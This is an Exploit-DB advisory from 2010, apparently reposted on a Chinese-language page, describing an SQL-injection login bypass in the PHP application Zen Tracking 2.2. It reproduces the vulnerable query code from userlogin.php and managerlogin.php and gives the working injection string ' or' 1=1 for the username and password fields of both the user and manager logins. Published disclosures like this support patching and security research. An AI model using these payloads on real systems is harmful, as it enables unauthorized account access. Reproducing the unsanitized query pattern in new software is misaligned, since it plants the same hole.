Zen Tracking 2.2 – Authentication Bypass

• Exploit Database
• 48 阅读

• 作者： cr4wl3r
  日期： 2010-02-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11345/

• [+] Zen Tracking <= 2.2 (Auth Bypass) SQL Injection Vulnerability
  [+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
  [+] Download : http://scripts.ringsworld.com/calendars/zentimetracking/
  
  [+] Vuln Code : 
  
  [userlogin.php]
  
  if (!empty($_POST['password']))
  {
   $username =$_POST['username'];
   $password =$_POST['password'];
   dbConnect();
   $result1 = mysql_query("select * from ".$tbluser." where username='". $username ."' and password='". $password ."'".mysql_error());
  
  [+] PoC :
  
  [ZenTracking_path]/userlogin.php
  
  username: ' or' 1=1
  Password: ' or' 1=1
  
  
  [+] Vuln Code : 
  
  [managerlogin.php]
  
  if (!empty($_POST['password']))
  {
   $username =$_POST['username'];
   $password =$_POST['password'];
   dbConnect();
   $result1 = mysql_query("select * from ".$tblmanager." where username='". $username ."' and password='". $password ."'".mysql_error());
  
  [+] PoC :
  
  [ZenTracking_path]/managerlogin.php
  
  username: ' or' 1=1
  Password: ' or' 1=1